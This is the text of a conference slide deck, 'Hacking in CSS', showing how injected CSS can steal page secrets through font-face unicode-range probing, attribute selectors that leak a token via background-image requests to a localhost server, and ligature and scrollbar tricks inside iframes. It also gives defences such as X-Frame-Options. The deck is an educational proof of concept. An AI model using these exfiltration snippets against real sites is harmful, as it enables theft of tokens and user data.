zażółć gęślą jaźń

testy

– Oh my God. I didn't even know Smarties made a cereal.

– They don't. It's just Smarties in a bowl with milk.

  • podpunkt
  • więcej informacji

Black - White - League - Sky - Beige - Simple
Serif - Blood - Night - Moon - Solarized

Hacking in CSS

by Michał Miszczyszyn / Type of Web

Michał Miszczyszyn

Full-Stack JS Developer @ X-Team

@mmiszy

michal@miszczyszyn.com

typeofweb.com

Question

Who knows CSS?

Who works on backend?

Who does both very well?

This presentation:

  • is about hacking
  • we're about to exploit some CSS

This presentation:

  • won't be very useful
  • works on rare occasions
  • is just a PoC
  • but I found it very interesting

And here we are.

Assumption: You can inject external CSS code to the website

How?

CSS Injection, Path Traversal, MitM,

OWASP Top 1 Application Security Risk – 2017

  1. Injection

Part 1

Introduction

Moar questions

Who knows CSS font-face?

Who knows unicode-range property?

FONT-FACE


/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  src: url(https://fonts.gstatic.com/…/roboto.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
								

Just latin characters:


/* latin */
@font-face {
  src: url(roboto.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
					

Latin-extended characters:


/* latin-ext */
@font-face {
  src: url(roboto2.woff2) format('woff2');
  unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
								

As a result

roboto-ext.woff2 will be downloaded only if there are latin-extended characters on the webpage

Why?

For performance.

Only download fonts (characters) you need.

i.e. subpages in English, Polish and Arabic

Cool?

Vulneralibility

The plan:

  • Find CSS injection possibility
  • Generate CSS stylesheet
  • Have one font-face per each character

DEMO

site
CSS

This way you narrowed down characters for bruteforcing the token

(or for another attack)

How to prevent?

It's not a bug, it's a feature!

„This does seem like an unfortunate side effect”
@font-face unicode-range can be used as text reader

But wait, there's more!

Part 2

Selectors

Different scenario:

You want to steal a token from input's attribute?

SAY NO MORE

There are several ways to do it.

I'll show you the simplest one.


#secret-token[value^=0] {
  background-image: url(http://localhost:3001/token/0);
}
				

that + iframe + some node.js + refresh a few times = PWND

Brilliant, huh?

DEMO

Site
CSS
attack

How to prevent?

Prevent from loading the app in iframes:

Header
X-Frame-Options: DENY

Part 3

Ligatures

What is a ligature?

It's meant to be more readable and beautiful :)

CSS fonts can define ligatures

  • dynamically create a font
  • define all characters 0px wide
  • define certain ligature to be 10000px wide
  • any characters -> not visible
  • certain combination of chars -> 10000px
  • load the page inside an iframe
  • add the CSS
  • scrollbar in iframe = match

body::-webkit-scrollbar:horizontal {
  background: url(http://localhost:3001/match);
}
				
  • repeat!

source: sekurak.pl

Summary

  • In this presentation I only injected CSS (never JS)
  • We rarely think about securing our CSS
  • CSS alone can be used for stealing data

Rules of thumb

  • Think of making your CSS safe
    (just like you do for JS)
  • Disallow loading your app in iframes

I hope you had some fun!

one more thing…

What if the token is inside a <script> tag?

SAY NO MORE

DEMO

Site
Site hacked

Thank you!

Michał Miszczyszyn

@mmiszy

michal@miszczyszyn.com

typeofweb.com